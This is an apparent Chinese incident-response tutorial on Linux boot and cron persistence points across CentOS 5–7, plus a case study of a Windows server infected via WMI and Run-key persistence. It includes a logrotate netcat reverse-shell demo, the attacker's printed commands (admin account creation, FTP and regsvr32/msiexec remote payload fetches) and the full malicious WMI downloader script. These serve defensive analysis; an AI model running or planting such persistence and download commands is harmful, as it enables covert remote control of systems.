凡是以Kxx开头的,都以stop为参数来调用;凡是以Sxx开头的,都以start为参数来调用。xx是数字、表示的是启动顺序,按xx从小到大来执行。
我们来用chkconfig修改一下试试

[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd

另外说明一下应急响应中我们都会检查/etc/rc.local,其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local

[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local

Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个

[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local 
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local

1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
init接下来会打开6个终端,以便用户登录系统。

总结一下,针对CentOS5系统,需要排查的点:
1)/etc/inittab
该文件是可以运行process的,这里我们添加一行
0:235:once:/bin/vinc
内容如下

[root@localhost ~]# cat /bin/vinc 
#!/bin/bash
cat /etc/issue > /tmp/version

重启

[root@localhost ~]# cat /tmp/version 
CentOS release 5.5 (Final)
Kernel \r on an \m

2)/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc

[root@localhost ~]# ll /tmp/version 
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version

3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

CentOS 6


启动流程如下:

init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
….

总结一下,针对CentOS6系统,需要排查的点:
1)/etc/init/*.conf
vim tty.conf,添加一行
exec /bin/vinc
内容如下

[root@vincenthostname init]# cat /bin/vinc 
#!/bin/bash

touch /tmp/vinc

重启

[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc

2)/etc/rc.d/rc.sysinit
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

0x03 CentOS7


开机启动流程如下:

1)UEFi或BIOS初始化,运行POST开机自检

2)选择启动设备

3)引导装载程序, centos7是grub2

4)加载装载程序的配置文件: /etc/grub.d/   /etc/default/grub    /boot/grub2/grub.cfg

5)加载initramfs驱动模块

6)加载内核选项

7)内核初始化, centos7使用systemd代替init

8)执行initrd.target所有单元,包括挂载/etc/fstab

9)从initramfs根文件系统切换到磁盘根目录

10)systemd执行默认target配置,配置文件/etc/systemd/system/default.target

11)systemd执行sysinit.target初始化系统及basic.target准备操作系统

12)systemd启动multi-user.target下的本机与服务器服务

13)systemd执行multi-user.target下的/etc/rc.d/rc.local

14)systemd执行multi-user.target下的getty.target及登入服务

15)systemd执行graphical需要的服务

CentOS7使用的是systemd,相较于以前的init有很大的不同。

/etc/inittab是空的

[root@localhost init.d]# cat /etc/inittab | grep -v "^$" | grep -v "^#"

[root@localhost init.d]#

也没有/etc/init目录

[root@localhost init.d]# ls -al /etc/init

ls: cannot access /etc/init: No such file or directory

/etc/rc3.d/和/etc/rc.d/init.d/还存在,所以向后兼容sysv init脚本,在centos5、6系统上/etc/init.d/目录下的服务脚本,systemd也能够对其进行管理

[root@localhost init.d]# ls -al /etc/rc3.d/

total 4

drwxr-xr-x.  2 root root   81 May 30 14:09 .

drwxr-xr-x. 10 root root 4096 May 30 14:31 ..

lrwxrwxrwx.  1 root root   20 Nov  7  2016 K50netconsole -> ../init.d/netconsole

lrwxrwxrwx.  1 root root   17 Nov  7  2016 S10network -> ../init.d/network

lrwxrwxrwx.  1 root root   23 Jan 17  2017 S90zabbix_agentd -> ../init.d/zabbix_agentd

lrwxrwxrwx.  1 root root   15 May 30 14:09 S99ossec -> ../init.d/ossec

systemd提供更优秀的框架以表示系统服务间的依赖关系,尽可能启动更少进程,尽可能将更多进程并行启动,尽可能减少对shell脚本的依赖。systemd的核心概念是unit,unit表示不同类型的systemd对象,通过配置文件进行标识和配置,文件中主要包含了系统服务,监听socket,保存的系统快照以及其他与init相关的信息。

查看所有的unit类型:

[root@localhost system]# systemctl -t help       

Available unit types:

service

socket

busname

target

snapshot

device

mount

automount

swap

timer

path

slice

scope

用途如下:

Service unit:文件扩展名.service 用于定义系统服务
Target unit:文件扩展名.target 用于模拟实现运行级别
Device unit: .device 用于定义内核识别的设备
Mount unit: .mount 定义文件系统的挂载点
Socket unit: .socket 用于标识进程间通行用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动
Snapshot unit: .snapshot 管理系统快照
Swap unit: .swap 用于标识swap设备
Automount unit: .automount 文件系统的自动挂载点
Path unit: .path 用于定义文件系统中的一个文件或目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录

配置文件中主要保存在:

/usr/lib/systemd/system/    每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/ 

/run/systemd/system/    系统执行过程中所产生的服务脚本,比上面目录优先运行

/etc/systemd/system/    管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行
[root@localhost system]# ls /usr/lib/systemd/system/

abrt-ccpp.service                       psacct.service

abrtd.service                           quotaon.service

abrt-oops.service                       rc-local.service

...

[root@localhost system]# ls /run/systemd/system/

session-1006.scope      session-161401.scope    session-24243.scope    session-54837.scope

session-1160.scope      session-162551.scope    session-24243.scope.d  session-54837.scope.d

...

[root@localhost system]# ls /etc/systemd/system/

basic.target.wants                           default.target           sockets.target.wants

dbus-org.fedoraproject.FirewallD1.service    default.target.wants     sysinit.target.wants

dbus-org.freedesktop.NetworkManager.service  getty.target.wants       system-update.target.wants

dbus-org.freedesktop.nm-dispatcher.service   multi-user.target.wants

我们来看下sshd.service

[root@localhost system]# cat sshd.service | grep -v "^$" | grep -v "^#"

[Unit]

Description=OpenSSH server daemon

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target sshd-keygen.service

Wants=sshd-keygen.service

[Service]

EnvironmentFile=/etc/sysconfig/sshd

ExecStart=/usr/sbin/sshd -D $OPTIONS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartSec=42s

[Install]

WantedBy=multi-user.target

文件包含三部分。

[Unit]:描述信息与依赖关系

[Service]:ExecStartPre 定义启动服务之前应该运行的命令;ExecStart 定义启动服务的具体命令行语法。

[Install]:WangtedBy 表明这个服务是在多用户模式下所需要的。

我们再来看下multi-user.target

[root@localhost system]# cat multi-user.target | grep -v "^$" | grep -v "^#"

[Unit]

Description=Multi-User System

Documentation=man:systemd.special(7)

Requires=basic.target

Conflicts=rescue.service rescue.target

After=basic.target rescue.service rescue.target

AllowIsolate=yes

Requires表明 multi-user.target 启动的时候 basic.target 也必须被启动,basic.target 停止的时候,multi-user.target 也必须停止。接着查看 basic.target 文件,会发现它又指定了 sysinit.target 等其他的单元必须随之启动。同样 sysinit.target 也会包含其他的单元。采用这样的层层链接的结构,最终所有需要支持多用户模式的组件服务都会被初始化启动好。

此外在/etc/systemd/system 目录下还可以看到诸如*.wants 的目录

[root@localhost system]# ls multi-user.target.wants/   

brandbot.path  plymouth-quit.service           systemd-logind.service

dbus.service   plymouth-quit-wait.service      systemd-update-utmp-runlevel.service

getty.target   systemd-ask-password-wall.path  systemd-user-sessions.service

放在该目录下的配置单元文件等同于在[Unit]小节中的 wants 关键字,即本单元启动时,还需要启动这些单元。

查看multi-user.target的依赖关系

[root@localhost system]# systemctl list-dependencies multi-user.target     

multi-user.target

├─abrt-ccpp.service
├─abrt-oops.service
├─abrt-vmcore.service
├─abrt-xorg.service
├─abrtd.service
├─atd.service
├─auditd.service

查看systemd管理的所有单元

[root@localhost system]# systemctl list-unit-files

UNIT FILE                                   STATE  

proc-sys-fs-binfmt_misc.automount           static 

dev-hugepages.mount                         static 

dev-mqueue.mount                            static

查看服务状态

[root@localhost system]# systemctl list-unit-files --type service     

UNIT FILE                                   STATE  

abrt-ccpp.service                           enabled

abrt-oops.service                           enabled

State的状态如下:

loaded:Unit配置文件已处理

active(running):一次或多次持续处理的运行

active(exited):成功完成一次性的配置

active(waiting):运行中,等待一个事件

inactive:不运行

enabled:开机启动

disabled:开机不启动

static:开机不启动,但可被另一个启用的服务激活

使用 systemctl 控制单元时,通常需要使用单元文件的全名,包括扩展名(例如 sshd.service),如果无扩展名,systemctl 默认把扩展名当作 .service。

启动httpd服务

[root@localhost system]# systemctl start httpd

停止httpd服务

[root@localhost system]# systemctl stop httpd

查看httpd服务运行状态

[root@localhost system]# systemctl status httpd

 

在centOS7上由.target来代替运行级别。

查看我们的机器上有多少个target

[root@localhost system]# ls /usr/lib/systemd/system/*.target | head -n 5

/usr/lib/systemd/system/basic.target

/usr/lib/systemd/system/bluetooth.target

/usr/lib/systemd/system/cryptsetup-pre.target

/usr/lib/systemd/system/cryptsetup.target

/usr/lib/systemd/system/ctrl-alt-del.target

运行级别与target的对照如下:

runlevel0.target -> poweroff.target

runlevel1.target -> rescue.target

runlevel2.target -> multi-user.target

runlevel3.target -> multi-user.target

runlevel4.target -> multi-user.target

runlevel5.target -> graphical.target

runlevel6.target -> reboot.target

运行级别切换

在centOS6上,我们切换级别使用init,在centOS7上来切换用:

systemctl isolate poweroff.target

要想切换运行级别,AllowIsolate=yes才可以。

[root@localhost system]# cat poweroff.target | grep Allow

AllowIsolate=yes

修改文件需执行systemctl daemon-reload才能生效。

 

查看默认运行级别

[root@localhost system]# systemctl get-default

multi-user.target

修改默认运行级别

[root@localhost system]# systemctl set-default graphical.target

Removed symlink /etc/systemd/system/default.target.

Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/graphical.target.

查看开机启动程序(相当于chkconfig –list)

ls /etc/systemd/system/multi-user.target.wants/

开机启动(相当于chkconfig httpd on)

[root@localhost system]# systemctl enable httpd.service 

Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.

去除开机启动(相当于chkconfig httpd off)

[root@localhost system]# systemctl disable httpd.service                                

Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.

查看服务是否开机启动(相当于chkconfig –list httpd)

[root@localhost system]# systemctl is-enabled httpd.service

enabled

CentOS7下rc.local文件默认不会在开机执行,我们来看一下rc.local文件的内容

[root@localhost system]# cat /etc/rc.local

#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

#

# It is highly advisable to create own systemd services or udev rules

# to run scripts during boot instead of using this file.

#

# In contrast to previous versions due to parallel execution during boot

# this script will NOT be run after all other services.

#

# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

# that this script will be executed during boot.

可以看到一段注释,翻译如下:

#这个文件是为了兼容性的问题而添加的。

#强烈建议创建自己的systemd服务或udev规则来在开机时运行脚本而不是使用这个文件。

#与以前的版本引导时的并行执行相比较,这个脚本将不会在其他所有的服务后执行。

#请记住,你必须执行“chmod +x /etc/rc.d/rc.local”来确保确保这个脚本在引导时执行。

然后我们看/usr/lib/systemd/system/rc-local.service

[root@localhost system]# cat /usr/lib/systemd/system/rc-local.service | grep ExecStart

ExecStart=/etc/rc.d/rc.local start

那我们启动下rc-local.service

[root@localhost system]# chmod u+x /etc/rc.d/rc.local

[root@localhost system]# systemctl start rc-local

总结一下,针对CentOS7系统,需要排查的点:

1)排查修改的service

find /usr/lib/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5
find /etc/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5

2)/etc/rc.d/init.d

3)/etc/rc.d/rc.local

不过需要看/etc/rc.d/rc.local是否有x权限。

在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:
一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。
那这些目录下的任务是怎么调用的?这里CentOS5和CentOS6还是有区别的。

CentOS5中:

[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m

[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

run-parts命令位于/usr/bin/run-parts,内容是很简单的一个shell脚本,就是遍历目标文件夹,执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron

[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.monthly
fi

这里就需要介绍一些/usr/sbin/anacron,anacron是干什么的?
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务, 而是以天为单位或者是在启动后立刻进行 anacron 的动作,他会去检查停机期间应该进行但是并没有进行的 crontab 任务,并将该任务运行一遍后,anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab

[root@jianshe_28 cron.daily]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

1	65	cron.daily		run-parts /etc/cron.daily
7	70	cron.weekly		run-parts /etc/cron.weekly
30	75	cron.monthly		run-parts /etc/cron.monthly

具体含义如下:
period delay job-identifier command
<轮回天数> <轮回内的重试时间> <任务描述> <命令>
7 70 cron.weekly run-parts /etc/cron.weekly

第一部分是轮回天数,即是指任务在多少天内执行一次,monthly 就是一个月(30天)内执行,weekly 即是在一周之内执行一次。

第二部分 delay 是指轮回内的重试时间,这个意思有两部分,一个是 anacron 启动以后该服务 ready 暂不运行的时间(周任务的 70 delay 在 anacron 启动后70分钟内不执行,而处于 ready 状态),另一个是指如果该任务到达运行时间后却因为某种原因没有执行(比如前一个服务还没有运行完成,anacron 在 /etc/init.d 的脚本中加了一个 -s 参数,便是指在前一个任务没有完成时不执行下一个任务),依然以周任务和月任务为例,周任务在启动 anacron 后的 70 分钟执行,月任务在服务启动后 75 分钟执行,但是,如果月任务到达服务启动后 75 分钟,可是周任务运行超过5分钟依然没有完成,那月任务将会进入下一个 75 分钟的轮回,在下一个 75 分钟时再检查周任务是否完成,如果前一个任务完成了那月任务开始运行。

第三部分 job-identifier ,anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件,里面记录着任务完成的时间,如果任务是第一次运行的话那这个文件应该是空的。anacron运行时,会去检查“/var/spool/anacron/这部分”文件中的内容,内容为一个日期,如下:

[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily    cron.monthly  cron.weekly   
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713

根据这个日期判断下面的第四部分要不要执行。 比如说这里写的是cron.daily,然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话,那anancron执行后就行执行这一行对应第四行的动作。

第四部分最为简单,仅仅是你想运行的命令

/usr/sbin/anacron常用参数:
-s :开始连续的运行各项工作 (job),会依据时间记录档的数据判断是否进行;
-f :强制进行,而不去判断时间记录档的时间戳记;
-n :立刻进行未进行的任务,而不延迟 (delay) 等待时间;
-u :仅升级时间记录档的时间戳记,不进行任何工作。

所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了,所以这里只是通过anacron -u来记录了执行的时间。

 

CentOS6中:

[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?
我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。

[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0

而CentOS6下有一个0hourly

[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly

看一下执行的任务

[root@localhost /]# cat /etc/cron.d/0hourly 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly

然后看一下/etc/cron.hourly所执行的脚本

[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron 
#!/bin/bash
# Skip excecution unless the date has changed from the previous run 
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power &> /dev/null
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

然后看一下/etc/anacrontab的内容

[root@localhost /]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1	5	cron.daily		nice run-parts /etc/cron.daily
7	25	cron.weekly		nice run-parts /etc/cron.weekly
@monthly 45	cron.monthly		nice run-parts /etc/cron.monthly

这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。

总结:
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试:
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt

[root@localhost cron.weekly]# /usr/sbin/anacron -s

等待一分多钟后,可以看到

[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt 
1

 

另外还需要注意Logrotate配置

在CentOS6中/etc/cron.daily/logrotate每小时执行一次。

[root@server120 logrotate.d]# cat /etc/cron.daily/logrotate 
#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1
EXITVALUE=$?
if [ $EXITVALUE != 0 ]; then
    /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]"
fi
exit 0

配置文件为/etc/logrotate.conf。

logrotate可以执行命令,例如来看一下:

[root@server120 logrotate.d]# cat /etc/logrotate.d/httpd 
/var/log/httpd/*log {
    missingok
    notifempty
    sharedscripts
    delaycompress
    postrotate
        /sbin/service httpd reload > /dev/null 2>/dev/null || true
    endscript
}

其中postrotate表示日志轮询之后,这里是自动重启Httpd服务。
另外还有prerotate表示在日志轮询之前。

比如/etc/logrotate.d下新建一个test

[root@server120 logrotate.d]# cat /etc/logrotate.d/test 
/tmp/base3306.log {
    daily
    missingok
    size = 5
    notifempty
    sharedscripts
    delaycompress
    postrotate
    nc 192.168.192.144 2345 -e /bin/bash
    endscript
}

然后我们手工执行一下

/usr/sbin/logrotate /etc/logrotate.conf

192.168.192.144:

[root@server144 ~]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:54178
whoami
root

 

网管同事反应Windows 2008 R2服务器上多了些exe文件,之前没怎么关注过Windows的监控。
这台主机提供了Mssql和Mysql服务,是台DB服务器,当时由于交换机没有口了,所以配置了公网IP,前端没有硬件防火墙,网管只是启用了本机的windows防火墙,过滤了3389等敏感端口,但是445端口对外开放了。

排查过程


检查Mysql,发现有两个版本,一个5.1,一个5.7,且运行权限为System,先排查下是不是通过MYSQL UDF搞的,检查mysql\lib\plugin目录没有发现异常文件
select * from mysql.func没有发现异常。
检查Mssql,运行权限为USER权限,检查了xp_cmdshell等存储过程没有发现异常。
查看系统账户,发现多了一个IUSR_Servs

服务器本身装了诺顿,报警的exe文件都被隔离了

隔离的文件如下

检测病毒文件的几个网站:

https://x.threatbook.cn/
http://www.virscan.org
https://www.virustotal.com/
https://fireeye.ijinshan.com/

上传上去检查结果如下:

http://www.virscan.org

https://x.threatbook.cn/

找到一个txt文件,内容如下:

[down]
http://47.88.216.68:8888/test.dat C:\windows\debug\item.dat 0
http://23.27.127.254:8888/close.bat C:\windows\debug\c.bat 0
[cmd]
新建用户IUSR_Servs并加入到管理员组
net1 user IUSR_Servs ZxcvBMN,.1987&net1 user IUSR_Servs ZxcvBMN,.1987 /ad&net1 localgroup administrators IUSR_Servs /ad&net1 start schedule

net1 user IISUSER_ACCOUNTXX /del&net1 user IUSR_ADMIN /del&net1 user snt0454 /del&taskkill /f /im Logo1_.exe&del c:\windows\Logo1_.exe&taskkill /f /im Update64.exe&del c:\windows\dell\Update64.exe
taskkill /f /im misiai.exe&del misiai.exe&del c:\windows\RichDllt.dll&net1 user asp.net /del&taskkill /f /im winhost.exe&del c:\windows\winhost.exe&del c:\windows\updat.exe
taskkill /f /im netcore.exe&del c:\windows\netcore.exe&taskkill /f /im ygwmgo.exe&del c:\windows\ygwmgo.exe&net1 user aspnet /del&net1 user LOCAL_USER /del&taskkill /f /im Isass.exe&del c:\windows\debug\Isass.exe
添加计划任务
schtasks /create /tn "Mysa" /tr "cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe" /ru "system" /sc onstart /F

添加开机启动项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start1" /d "msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "rundll32" /d "cmd /c if exist c:\windows\debug\item.dat start rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /f

echo 123>>1.txt&start C:\windows\debug\c.bat&start rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
@Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe

然后运行taskschd.msc
删除了计划任务Mysa
运行regedit.exe
删除注册表中启动项中的异常内容
运行services.msc
检查注册服务,未发现异常内容
使用Process Explorer检查进程,发现rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa,Kill掉
使用procmon汉化版,观察进程的注册表的读取,文件的浏览,网络行为,进程行为。
查看诺顿日志发现每隔三个小时下载个文件保存到C:\windows\debug\item.dat

但是计划任务中并没有。然后重启了服务器,发现还是每三个小时就会下载这个文件。
检查网络连接netstat -ano | findstr ESTABLIST未发现异常连接。
每三个小时就会下载一次,那就看这个时间点会起什么异常进程,然后发现每三个小时就会启动C:\Windows\System32\wbem\scrcons.exe
想起来这是利用wmi插件来执行定时执行任务,之前碰到过浏览器首页修改后半个小时又自己变回来就是利用的这个,也是scrcons.exe进程会半小时出来一次。
网上给的方法是安装WMITool,但是这台服务器安装报错。
看到网上说使用Autoruns可以看到WMI脚本,果然发现了异常

脚本内容如下:

var toff=3000;
var url1 = "http://wmi.mykings.top:8888/kill.html";
http = new ActiveXObject("Msxml2.ServerXMLHTTP");
fso = new ActiveXObject("Scripting.FilesystemObject");
wsh = new ActiveXObject("WScript.Shell");
http.open("GET", url1, false);
http.send();
str = http.responseText;
arr = str.split("\r\n");
for (i = 0; i < arr.length; i++) {
   t = arr[i].split(" ");
   proc = t[0];
   path = t[1];
   dele = t[2];
   wsh.Run("taskkill /f /im " + proc, 0, true);
   if (dele == 0) {
      try { fso.DeleteFile(path, true); }
      catch (e) {}
   }
};
var locator=new ActiveXObject("WbemScripting.SWbemLocator");
var service=locator.ConnectServer(".","root/cimv2");
var colItems=service.ExecQuery("select * from Win32_Process");
var e=new Enumerator(colItems);
var t1=new Date().valueOf();
for(;!e.atEnd();e.moveNext()){
   var p=e.item();
   if(p.Caption=="rundll32.exe")p.Terminate()
};
var t2=0;
while(t2-t1<toff){
var t2=new Date().valueOf()
}
var pp=service.get("Win32_Process");
var url="http://wmi.mykings.top:8888/test.html",
http=new ActiveXObject("Microsoft.XMLHTTP"),
ado=new ActiveXObject("ADODB.Stream"),
wsh=new ActiveXObject("WScript.Shell");
for(http.open("GET",url,!1),
http.send(),
str=http.responseText,
arr=str.split("\r\n"),
i=0;arr.length>i;i++)t=arr[i].split(" ",3),
http.open("GET",t[0],!1),
http.send(),
ado.Type=1,
ado.Open(),
ado.Write(http.responseBody),
ado.SaveToFile(t[1],2),
ado.Close(),
1==t[2]&&wsh.Run(t[1]);
pp.create("regsvr32 /s shell32.dll");
pp.create("regsvr32 /s WSHom.Ocx");
pp.create("regsvr32 /s scrrun.dll");
pp.create("regsvr32 /s c:\\Progra~1\\Common~1\\System\\Ado\\Msado15.dll");
pp.create("regsvr32 /s jscript.dll");
pp.create("regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll");
pp.create("rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa");

http://wmi.mykings.top:8888/kill.html
内容如下:

ntvdm.exe C:\*.exe 0 mskns.exe c:\windows\mskns.exe 0 ntuhost.exe c:\windows\ntuhost.exe 0 dwnclear.exe c:\windows\dwnclear.exe 0 isass.exe c:\windows\debug\isass.exe 0 l.exe C:\Windows\zecc\lsm.exe 0 lgnzmq.exe c:\windows\lgnzmq.exe 0 asoaui.exe c:\windows\asoaui.exe 0 kxsjitc.exe C:\Windows\WindowsUpdate\kxsjitc.exe.exe 0 lmudoftzo.exe C:\Windows\WindowsUpdate\lmudoftzo.exe 0 nczkow.exe C:\Windows\WindowsUpdate\nczkow.exe 0 smssc.exe C:\Windows\WindowsUpdate\nczkow.exe 0 ShelReaKet.exe C:\Windows\ShelReaKet.exe 0

http://wmi.mykings.top:8888/test.html

内容如下:

http://47.88.216.68:8888/test.dat C:\windows\debug\item.dat 0

删除该脚本

推荐Windows下辅助查杀的几个工具:

Process Monitor
